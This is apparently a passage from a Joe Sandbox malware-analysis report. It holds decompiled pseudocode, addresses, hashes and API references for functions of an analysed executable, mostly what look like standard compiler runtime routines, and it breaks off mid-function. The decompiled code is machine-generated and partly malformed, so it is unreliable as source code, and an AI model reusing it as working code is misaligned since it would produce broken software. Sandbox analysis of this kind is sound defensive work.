				 *(_t257 - 0x188) = 0;
				 *(_t257 - 0x178) = _t250;
				 *(_t257 - 0x17c) = 0;
				 *(_t257 - 0x174) = 0;
				 *(_t257 - 0x170) = 0;
				 *(_t257 - 0x16c) = 0;
				 *(_t257 - 0x168) = 0;
				_t261 = _t260 - E00420460(_t250 << 5);
				_t146 = _t261 + 0xf >> 2;
				_t214 = _t146;
				_t206 = _t146 * 4;
				_t262 = _t261 - E00420460(0xf + _t250 * 4 >> 4 << 4);
				 *(_t257 - 0x18c) = _t206;
				 *(_t257 - 0x180) =  &(_t262[3]);
				if(_t240 == 1) {
					__eflags =  *(_t257 - 0x1b4) - 0x5f;
					if( *(_t257 - 0x1b4) != 0x5f) {
						goto L9;
					} else {
						__eflags = _t190[1] - 0x5a;
						if(_t190[1] != 0x5a) {
							goto L9;
						} else {
							 *(_t257 - 0x190) =  &(_t190[2]);
							_t242 = E00418560(_t257 - 0x19c, _t206, 1);
							__eflags =  *(_t257 - 0x194) & 0x00000001;
							if(( *(_t257 - 0x194) & 0x00000001) != 0) {
								_t252 =  *(_t257 - 0x190);
								_t155 =  *_t252 & 0x000000ff;
								__eflags = _t155 - 0x2e;
								if(_t155 == 0x2e) {
									_t210 = _t252;
									_t177 = _t242;
									do {
										_t223 = _t210[1] & 0x000000ff;
										_t112 = _t223 - 0x61; // -7
										__eflags = _t112 - 0x19;
										if(_t112 <= 0x19) {
											L42:
											_t224 = _t210[2] & 0x000000ff;
											_t197 =  &(_t210[2]);
											 *(_t257 - 0x1b4) = _t224;
											__eflags = _t224 - 0x61 - 0x19;
											if(_t224 - 0x61 <= 0x19) {
												L44:
												 *(_t257 - 0x1b4) = _t177;
												goto L45;
												do {
													do {
														L45:
														_t197 =  &(_t197[1]);
														_t226 =  *_t197 & 0x000000ff;
														__eflags = _t226 - 0x61 - 0x19;
													} while (_t226 - 0x61 <= 0x19);
													__eflags = _t226 - 0x5f;
												} while (_t226 == 0x5f);
												_t177 =  *(_t257 - 0x1b4);
												goto L29;
											} else {
												__eflags =  *(_t257 - 0x1b4) - 0x5f;
												if( *(_t257 - 0x1b4) != 0x5f) {
													_t226 =  *(_t257 - 0x1b4) & 0x000000ff;
													goto L29;
												} else {
													goto L44;
												}
											}
											goto L39;
										} else {
											__eflags = _t223 - 0x5f;
											if(_t223 == 0x5f) {
												goto L42;
											} else {
												__eflags = _t223 - 0x30 - 9;
												if(_t223 - 0x30 > 9) {
													_t242 = _t177;
													_t155 =  *_t210 & 0x000000ff;
												} else {
													_t226 =  *_t210 & 0x000000ff;
													_t197 = _t210;
													L29:
													__eflags = _t226 - 0x2e;
													if(_t226 == 0x2e) {
														while(1) {
															_t248 = _t197[1] & 0x000000ff;
															__eflags = _t248 - 0x30 - 9;
															if(_t248 - 0x30 > 9) {
																goto L36;
															}
															_t233 = _t197[2] & 0x000000ff;
															_t249 =  &(_t197[2]);
															__eflags = _t233 - 0x30 - 9;
															while(_t233 - 0x30 <= 9) {
																_t249 =  &(_t249[1]);
																_t233 =  *_t249 & 0x000000ff;
																__eflags = _t233 - 0x30 - 9;
															}
															_t197 = _t249;
															__eflags = _t233 - 0x2e;
															if(_t233 == 0x2e) {
																continue;
															}
															goto L36;
														}
													}
													L36:
													 *(_t257 - 0x190) = _t197;
													_t198 =  *(_t257 - 0x188);
													_t247 = _t197 - _t210;
													__eflags = _t198 -  *((intOrPtr*)(_t257 - 0x184));
													if(_t198 >=  *((intOrPtr*)(_t257 - 0x184))) {
														L41:
														_t227 = 0;
													} else {
														_t227 = (_t198 << 4) +  *(_t257 - 0x18c);
														 *(_t227 + 4) = 0;
														 *(_t257 - 0x188) = _t198 + 1;
														__eflags = _t247;
														if(_t247 == 0) {
															goto L41;
														} else {
															 *(_t227 + 4) = 0;
															 *_t227 = 0;
															 *(_t227 + 8) = _t210;
															 *(_t227 + 0xc) = _t247;
														}
													}
													goto L39;
												}
											}
										}
										goto L11;
										L39:
										 *_t262 = _t227;
										_t177 = E00415A10(_t177, 0x4d);
										_t210 =  *(_t257 - 0x190);
										_t229 =  *_t210 & 0x000000ff;
										__eflags = _t229 - 0x2e;
									} while (_t229 == 0x2e);
									_t242 = _t177;
									_t155 = _t229;
								}
							} else {
								_t155 =  *( *(_t257 - 0x190)) & 0x000000ff;
							}
							goto L11;
						}
					}
				} else {
					if(_t240 == 0 || _t240 > 3) {
						_t242 = E004172D0(_t257 - 0x19c, _t190, _t206, _t240, _t250, __eflags);
						_t155 =  *( *(_t257 - 0x190)) & 0x000000ff;
						L11:
						__eflags = _t242;
						if(_t242 == 0) {
							goto L9;
						} else {
							goto L12;
						}
					} else {
						_t256 =  &(_t190[0xb]);
						 *(_t257 - 0x190) = _t256;
						if(_t190[0xb] == 0x5f) {
							__eflags = _t190[0xc] - 0x5a;
							if(_t190[0xc] != 0x5a) {
								goto L5;
							} else {
								 *(_t257 - 0x190) =  &(_t190[0xd]);
								_t213 = E00418560(_t257 - 0x19c, _t206, 0);
							}
						} else {
							L5:
							 *(_t257 - 0x1bc) = _t214;
							 *(_t257 - 0x1b4) = _t206;
							 *_t262 = _t256;
							_t184 = strlen(??);
							_t235 =  *(_t257 - 0x1bc);
							_t213 =  *(_t257 - 0x1b4);
							if( *((intOrPtr*)(_t257 - 0x1b8)) <= 0) {
								L22:
								_t213 = 0;
							} else {
								 *(4 + _t235 * 4) = 0;
								 *(_t257 - 0x188) = 1;
								if(_t184 == 0) {
									goto L22;
								} else {
									 *(8 + _t235 * 4) = _t256;
									 *(_t235 * 4) = 0;
									 *(0xc + _t235 * 4) = _t184;
								}
							}
						}
						 *_t262 = 0;
						_t186 = E00415A10(_t213, (0 | _t240 != 0x00000002) + 0x43);
						_t203 =  *(_t257 - 0x190);
						_t242 = _t186;
						 *_t262 = _t203;
						_t204 = _t203 + strlen(??);
						 *(_t257 - 0x190) = _t204;
						_t155 =  *_t204 & 0x000000ff;
						if(_t186 != 0) {
							L12:
							__eflags = _t155;
							if(_t155 != 0) {
								goto L9;
							} else {
								 *((char*)(_t257 - 0x60)) = 0;
								 *(_t257 - 0x64) = 0;
								_t194 = _t257 - 0x164;
								 *(_t257 - 0x5c) =  *(_t257 - 0x1ac);
								 *(_t257 - 0x54) = 0;
								 *(_t257 - 0x58) =  *(_t257 - 0x1b0);
								 *(_t257 - 0x50) = 0;
								 *(_t257 - 0x40) = 0;
								 *(_t257 - 0x3c) = 0;
								 *(_t257 - 0x4c) = 0;
								 *(_t257 - 0x48) = 0;
								 *(_t257 - 0x44) = 0;
								 *(_t257 - 0x38) = 0;
								 *(_t257 - 0x34) = 0;
								 *(_t257 - 0x30) = 0;
								 *(_t257 - 0x2c) = 0;
								 *(_t257 - 0x28) = 0;
								 *(_t257 - 0x24) = 0;
								 *(_t257 - 0x20) = 0;
								E00415AD0(_t257 - 0x20, _t242, _t257 - 0x2c);
								_t160 =  *(_t257 - 0x2c);
								 *(_t257 - 0x1c) = 0;
								_t218 =  *(_t257 - 0x20) * _t160;
								__eflags = _t160;
								 *(_t257 - 0x1ac) = _t262;
								_t161 =  <=  ? 1 : _t160;
								 *(_t257 - 0x20) = _t218;
								_t264 = _t262 - E00420460(0xf + ( <=  ? 1 : _t160) * 8 >> 4 << 4);
								__eflags = _t218;
								_t219 =  <=  ? 1 : _t218;
								_t169 = E00420460(0xf + ( <=  ? 1 : _t218) * 8 >> 4 << 4);
								 *(_t257 - 0x34) = _t264 + 0xc;
								 *(_t257 - 0x28) = _t264 - _t169 + 0xc;
								E00418C70(_t194, _t242, 0x11);
								_t173 =  *(_t257 - 0x64);
								_t266 =  *(_t257 - 0x1ac);
								 *((char*)(_t257 + _t173 - 0x164)) = 0;
								_t266[2] =  *(_t257 - 0x58);
								_t266[1] = _t173;
								 *_t266 = _t194;
								 *(_t257 - 0x5c)();
								__eflags =  *(_t257 - 0x4c);
								_t93 =  *(_t257 - 0x4c) == 0;
								__eflags = _t93;
								return 0 | _t93;
							}
						} else {
							L9:
							return 0;
						}
					}
				}
			}

0x0041f1c9
0x0041f1d0
0x0041f1d2
0x0041f1d6
0x0041f1dc
0x0041f1de
0x0041f1e1
0x0041f1e4
0x0041f1e6
0x0041f1e6
0x0041ee50
0x0041ee53
0x0041ee58
0x0041ee5e
0x0041ee63
0x0041ee6d
0x0041ee73
0x0041ee76
0x0041ee7c
0x0041ee87
0x0041ee8d
0x0041ee97
0x0041ee9d
0x0041eea7
0x0041eeb1
0x0041eebb
0x0041eec5
0x0041eed4
0x0041eeda
0x0041eedd
0x0041eedf
0x0041eef8
0x0041eefa
0x0041ef04
0x0041ef0d
0x0041f133
0x0041f13a
0x00000000
0x0041f140
0x0041f140
0x0041f144
0x00000000
0x0041f14a
0x0041f152
0x0041f165
0x0041f167
0x0041f16e
0x0041f200
0x0041f206
0x0041f209
0x0041f20b
0x0041f211
0x0041f213
0x0041f220
0x0041f220
0x0041f224
0x0041f227
0x0041f22a
0x0041f304
0x0041f304
0x0041f308
0x0041f30e
0x0041f316
0x0041f319
0x0041f324
0x0041f324
0x0041f324
0x0041f330
0x0041f330
0x0041f330
0x0041f330
0x0041f333
0x0041f33b
0x0041f33b
0x0041f33f
0x0041f33f
0x0041f344
0x00000000
0x0041f31b
0x0041f31b
0x0041f322
0x0041f359
0x00000000
0x00000000
0x00000000
0x00000000
0x0041f322
0x00000000
0x0041f230
0x0041f230
0x0041f233
0x00000000
0x0041f239
0x0041f23c
0x0041f23f
0x0041f34f
0x0041f351
0x0041f245
0x0041f245
0x0041f248
0x0041f24a
0x0041f24a
0x0041f24d
0x0041f250
0x0041f250
0x0041f257
0x0041f25a
0x00000000
0x00000000
0x0041f25c
0x0041f260
0x0041f266
0x0041f269
0x0041f270
0x0041f273
0x0041f279
0x0041f279
0x0041f27e
0x0041f280
0x0041f283
0x00000000
0x00000000
0x00000000
0x0041f283
0x0041f250
0x0041f285
0x0041f287
0x0041f28d
0x0041f293
0x0041f295
0x0041f29b
0x0041f300
0x0041f300
0x0041f29d
0x0041f2a5
0x0041f2ab
0x0041f2b2
0x0041f2b8
0x0041f2ba
0x00000000
0x0041f2bc
0x0041f2bc
0x0041f2c3
0x0041f2c9
0x0041f2cc
0x0041f2cc
0x0041f2ba
0x00000000
0x0041f29b
0x0041f23f
0x0041f233
0x00000000
0x0041f2cf
0x0041f2cf
0x0041f2db
0x0041f2e0
0x0041f2e6
0x0041f2e9
0x0041f2e9
0x0041f2f2
0x0041f2f4
0x0041f2f4
0x0041f174
0x0041f17a
0x0041f17a
0x00000000
0x0041f16e
0x0041f144
0x0041ef13
0x0041ef15
0x0041efee
0x0041eff6
0x0041eff9
0x0041eff9
0x0041effb
0x00000000
0x00000000
0x00000000
0x00000000
0x0041ef24
0x0041ef24
0x0041ef2b
0x0041ef31
0x0041f1a0
0x0041f1a4
0x00000000
0x0041f1aa
0x0041f1af
0x0041f1c2
0x0041f1c2
0x0041ef37
0x0041ef37
0x0041ef37
0x0041ef3d
0x0041ef43
0x0041ef46
0x0041ef51
0x0041ef59
0x0041ef5f
0x0041f1f0
0x0041f1f0
0x0041ef65
0x0041ef65
0x0041ef70
0x0041ef7c
0x00000000
0x0041ef82
0x0041ef82
0x0041ef8f
0x0041ef9a
0x0041ef9a
0x0041ef7c
0x0041ef5f
0x0041efa3
0x0041efb5
0x0041efba
0x0041efc0
0x0041efc2
0x0041efca
0x0041efcc
0x0041efd2
0x0041efd7
0x0041effd
0x0041effd
0x0041efff
0x00000000
0x0041f001
0x0041f00c
0x0041f010
0x0041f017
0x0041f01d
0x0041f026
0x0041f02d
0x0041f033
0x0041f03a
0x0041f041
0x0041f048
0x0041f04f
0x0041f056
0x0041f05d
0x0041f064
0x0041f06b
0x0041f072
0x0041f079
0x0041f080
0x0041f087
0x0041f08e
0x0041f093
0x0041f09e
0x0041f0a5
0x0041f0a8
0x0041f0aa
0x0041f0b0
0x0041f0ba
0x0041f0c8
0x0041f0ca
0x0041f0cc
0x0041f0e0
0x0041f0ee
0x0041f0f5
0x0041f0fa
0x0041f0ff
0x0041f102
0x0041f10b
0x0041f113
0x0041f117
0x0041f11b
0x0041f11e
0x0041f126
0x0041f128
0x0041f128
0x0041f132
0x0041f132
0x0041efd9
0x0041efd9
0x0041efe2
0x0041efe2
0x0041efd7
0x0041ef15

APIs

strlen.MSVCRT ref: 0041EE53
strlen.MSVCRT ref: 0041EF46
strlen.MSVCRT ref: 0041EFC5

Strings

_, xrefs: 0041F1D2
_, xrefs: 0041EF27

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: strlen
String ID: _$_
API String ID: 39653677-2459770204
Opcode ID: 84fdeafe69b66709c021aadc24ed916703df2d3b7c03ff8efa8108175b1d33cd
Instruction ID: fc476c84d6f3dda35cf1b8112a15c467724453012d3f6f7e27f3b91a1037f7ff
Opcode Fuzzy Hash: 84fdeafe69b66709c021aadc24ed916703df2d3b7c03ff8efa8108175b1d33cd
Instruction Fuzzy Hash: 79413BB59042288FEB20DF25D8903DEBBF1BB49304F4541AED94D97341D7399A89CF84

Uniqueness

Uniqueness Score: -1.00%

Function 00422F10 Relevance: 7.6, APIs: 5, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E00422F10(void* __eax, CHAR* __ebx, void* __edx, void* __edi, void* __esi, char _a4) {
				void* _v0;
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v80;
				void* _v84;
				void _v156;
				char _v284;
				char _v288;
				void* _v312;
				char* _v356;
				intOrPtr* __ebp;
				struct HINSTANCE__* _t37;
				struct HINSTANCE__* _t40;
				_Unknown_base(*)()* _t41;
				struct HINSTANCE__* _t46;
				_Unknown_base(*)()* _t54;
				void* _t57;
				void* _t61;
				intOrPtr* _t62;
				char** _t64;
				char** _t65;
				struct HINSTANCE__** _t67;
				struct HINSTANCE__** _t68;

				_t52 = __esi;
				_t48 = __edi;
				_t43 = __ebx;
				_t57 = _t61;
				_push(__edi);
				_push(__esi);
				_push(__ebx);
				_push(__edx);
				_push(__eax);
				_t62 = _t61 - 0x124;
				_t2 = _a4 + 0xc; // 0x90909090
				if( *_t2 == 0) {
					 *_t62 = _a4;
					return E00422C70(_a4, __ebx, __edx, __edi, __esi);
				} else {
					__ebx =  &_v284;
					__ecx = _v0;
					__edx =  &_a4;
					__eax = __ebx;
					__edi =  &_v156;
					__esi = __ebx;
					E00422420(__ebx, _v0,  &_a4) = _a4;
					__ecx = 0x20;
					__edx =  &_v156;
					__eax = memcpy( &_v156, __esi, 0x20 << 2);
					__esi + __ecx = __esi + __ecx + __ecx;
					__ecx = 0;
					__ecx =  &_v288;
					if(__eax != 7) {
						abort();
						abort();
						abort();
						abort();
						abort();
						_push(_t57);
						_t64 = _t62 - 0x1c;
						 *_t64 = "libgcc_s_dw2-1.dll";
						_t37 = GetModuleHandleA(_t43);
						_t65 = _t64 - 4;
						if(_t37 == 0) {
							 *0x4b6004 = 0x424590;
							_t54 = E00424340;
						} else {
							_t46 = _t37;
							 *_t65 = "libgcc_s_dw2-1.dll";
							_t40 = LoadLibraryA(??);
							_t67 = _t65 - 4;
							 *0x607df0 = _t40;
							_v356 = "__register_frame_info";
							 *_t67 = _t46;
							_t41 = GetProcAddress(??, ??);
							_t68 = _t67 - 8;
							_t54 = _t41;
							_v356 = "__deregister_frame_info";
							 *_t68 = _t46;
							 *0x4b6004 = GetProcAddress(??, ??);
							_t65 = _t68 - 8;
						}
						if(_t54 != 0) {
							_v356 = 0x60701c;
							 *_t65 = 0x5ca0f8;
							 *_t54();
						}
						 *_t65 = 0x401590;
						return E004014C0();
					} else {
						__edx =  &_v156;
						__eax = __ebx;
						__eax = L00422880(__ebx,  &_v156);
						__ebx = _v80;
						__edx = __eax;
						__eax = _v84;
						_v312 = __ebx;
						 *__esp = __eax;
						__eax = E00422C60(__eax);
						__ecx = __edx;
						 *(__ebp + __edx + 4) = __ebx;
						__eax = _v24;
						__ecx = __ebp + __edx + 4;
						__edx = _v20;
						__ebx = _v16;
						__esi = _v12;
						__edi = _v8;
						__ebp =  *__ebp;
						__esp = __ecx;
						return _v24;
					}
				}
			}

0x00422f10
0x00422f10
0x00422f10
0x00422f11
0x00422f13
0x00422f14
0x00422f15
0x00422f16
0x00422f17
0x00422f18
0x00422f21
0x00422f26
0x00422fb3
0x00422fc5
0x00422f2c
0x00422f2c
0x00422f32
0x00422f35
0x00422f38
0x00422f3a
0x00422f40
0x00422f47
0x00422f4a
0x00422f4f
0x00422f55
0x00422f55
0x00422f55
0x00422f57
0x00422f65
0x004ae643
0x004ae648
0x004ae650
0x004ae655
0x004ae65a
0x004014e0
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x00422f6b
0x00422f6b
0x00422f71
0x00422f73
0x00422f78
0x00422f7b
0x00422f7d
0x00422f80
0x00422f84
0x00422f87
0x00422f8c
0x00422f8e
0x00422f92
0x00422f95
0x00422f99
0x00422f9c
0x00422f9f
0x00422fa2
0x00422fa5
0x00422fa8
0x00422faa
0x00422faa
0x00422f65

APIs

abort.MSVCRT(00422CFB), ref: 004AE643
abort.MSVCRT(00422CFB), ref: 004AE648
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE650
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE655
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE65A

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 926d2856be187d6d24586ed884169c101872550ba2d60433fe1eff06ae425d9d
Instruction ID: caa09cdaf7274c374642b7dca742ddabbd8e315fcb7cde74188f9784c4b5e9c4
Opcode Fuzzy Hash: 926d2856be187d6d24586ed884169c101872550ba2d60433fe1eff06ae425d9d
Instruction Fuzzy Hash: 10213034B00219ABCF10EF65D5819DEB7B4EF49358F41956AEC08A7302D674EE448B95

Uniqueness

Uniqueness Score: -1.00%

Function 00426415 Relevance: 7.5, APIs: 5, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00426415(intOrPtr* __eax, intOrPtr _a4) {
				intOrPtr* _t10;
				intOrPtr* _t11;
				signed int _t12;
				signed int _t13;
				intOrPtr _t15;

				_t13 = _t12 ^ _t12;
				_t15 = _a4;
				L0042F560();
				 *__eax = _t15;
				_t10 = 1;
				L3:
				L3:
				if(_t15 != _t10) {
					goto L1;
				} else {
					L0042F520();
					 *_t10 =  *((intOrPtr*)(0x5c4264 + _t13 * 8));
					return _t10;
				}
				L10:
				L1:
				_t13 = _t13 + 1;
				if( *((intOrPtr*)(0x5c4264 + _t13 * 8)) == 0xffffffff) {
					_t11 = _t15 - 0x13;
					if(_t11 <= 0x11) {
						L0042F520();
						 *_t11 = 0xd;
						return _t11;
					} else {
						if(_t15 - 0xbc <= 0xe) {
							L0042F520();
							 *_t11 = 8;
							return _t11;
						} else {
							L0042F520();
							 *_t11 = 0x16;
							return _t11;
						}
					}
				} else {
					_t10 =  *((intOrPtr*)(0x5c4260 + _t13 * 8));
					goto L3;
				}
				goto L10;
			}

0x00426422
0x00426427
0x0042642b
0x00426430
0x00426432
0x00000000
0x00426454
0x00426456
0x00000000
0x00426458
0x00426458
0x00426464
0x0042646b
0x0042646b
0x00000000
0x00426440
0x00426440
0x0042644b
0x00426470
0x00426476
0x004264a5
0x004264aa
0x004264b5
0x00426478
0x00426481
0x00426494
0x00426499
0x004264a4
0x00426483
0x00426483
0x00426488
0x00426493
0x00426493
0x00426481
0x0042644d
0x0042644d
0x00000000
0x0042644d
0x00000000

APIs

__doserrno.MSVCRT ref: 0042642B
_errno.MSVCRT ref: 00426458

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: __doserrno_errno
String ID:
API String ID: 921712934-0
Opcode ID: 6d66d972f074d0ee8a75dc1396597e4c70345b41a9b0b7bcd749cf65b62b1ddb
Instruction ID: 88b3a4e24adc53cb7cb5db5ea8e2874f2f988724a11695ddb3fb73c4463dc52a
Opcode Fuzzy Hash: 6d66d972f074d0ee8a75dc1396597e4c70345b41a9b0b7bcd749cf65b62b1ddb
Instruction Fuzzy Hash: BF01B1F39051215FE7107F18FC8269B7360FB40328F870277E4940B265E639AC998BCA

Uniqueness

Uniqueness Score: -1.00%

Function 00424930 Relevance: 7.5, APIs: 5, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 0042495C
TlsAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,00424B70), ref: 0042496A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00424B70), ref: 004249A0

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: AllocCreateErrorLastSemaphore
String ID:
API String ID: 2256031600-0
Opcode ID: fc4f0704b0e9ed1cb06e846765625c9ccd393a264615414b63331d4303feb908
Instruction ID: 6e6ceb7f6f97d8ee386c3a73b678c6ad4ad33e57141f6664e1f9dae36ed14316
Opcode Fuzzy Hash: fc4f0704b0e9ed1cb06e846765625c9ccd393a264615414b63331d4303feb908
Instruction Fuzzy Hash: 35F01DB09486109EC310BF78A50832B7AE1EB54328FD05A2EE0A8872E1E77C44598B5A

Uniqueness

Uniqueness Score: -1.00%

Function 0042F5A9 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 17stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 0042F5C2
strchr.MSVCRT ref: 0042F5D2
atoi.MSVCRT ref: 0042F5E5

Strings

., xrefs: 0042F5C7

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: atoisetlocalestrchr
String ID: .
API String ID: 1223908000-248832578
Opcode ID: 5ea228701e5beca0b6572f28b5d1b3b11f0d4353b420dab4557497335a753e31
Instruction ID: 194d4b0924ad3aa5f456ee0193b836e6ed18364df9128065ef7162d8f3052319
Opcode Fuzzy Hash: 5ea228701e5beca0b6572f28b5d1b3b11f0d4353b420dab4557497335a753e31
Instruction Fuzzy Hash: 0BE0ECB5A057105AD700BF39D44932BB6F1AF80708FC68C3DE88447206EA7D94499786

Uniqueness

Uniqueness Score: -1.00%

Function 0041E250 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 253
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0041E250(signed int __eax, signed int __ecx, signed char* __edx) {
				void* _t103;
				void* _t106;
				signed int _t109;
				void* _t111;
				signed int _t112;
				int _t116;
				signed int _t117;
				void* _t121;
				signed int _t125;
				signed int _t134;
				signed int _t135;
				signed int _t136;
				signed char* _t137;
				char* _t138;
				signed int* _t141;
				signed int _t145;
				signed int _t146;
				signed int _t147;
				signed int _t149;
				signed int _t157;
				signed int _t158;
				signed int _t162;
				signed char _t166;
				signed char* _t167;
				signed char* _t168;
				signed int _t169;
				signed char* _t171;
				signed int _t172;
				signed char** _t173;

				_t100 = __eax;
				_t173[5] = __edx;
				_t169 = _t173[0x18];
				if(__ecx == 0) {
					L25:
					return _t100;
				} else {
					_t134 = __ecx;
					_t168 = __eax;
					if( *((intOrPtr*)(__eax + 0x118)) == 0) {
						goto L10;
					} else {
						return __eax;
					}
					do {
						goto L10;
						L9:
						__eflags = _t168[0x118];
					} while (_t168[0x118] == 0);
					goto L25;
					L10:
					_t100 =  *(_t134 + 8);
					__eflags = _t100;
					if(_t100 != 0) {
						L8:
						_t134 =  *_t134;
						__eflags = _t134;
						if(_t134 == 0) {
							goto L25;
						} else {
							goto L9;
						}
					} else {
						_t141 =  *(_t134 + 4);
						_t100 =  *_t141;
						__eflags = _t169;
						if(_t169 != 0) {
							L4:
							_t166 = _t168[0x110];
							 *(_t134 + 8) = 1;
							_t168[0x110] =  *(_t134 + 0xc);
							__eflags = _t100 - 0x29;
							if(_t100 == 0x29) {
								__eflags =  &(_t141[3]);
								 *_t173 =  *_t134;
								_t103 = E0041DF20(_t168,  &(_t141[3]), _t173[5]);
								_t168[0x110] = _t166;
								return _t103;
							} else {
								__eflags = _t100 - 0x2a;
								if(_t100 == 0x2a) {
									__eflags =  &(_t141[2]);
									 *_t173 =  *_t134;
									_t106 = E0041E610(_t168,  &(_t141[2]), _t173[5]);
									_t168[0x110] = _t166;
									return _t106;
								} else {
									__eflags = _t100 - 2;
									if(_t100 == 2) {
										_t168[0x114] = 0;
										E00418C70(_t168, _t141[2], _t173[5]);
										_t109 = _t168[0x100];
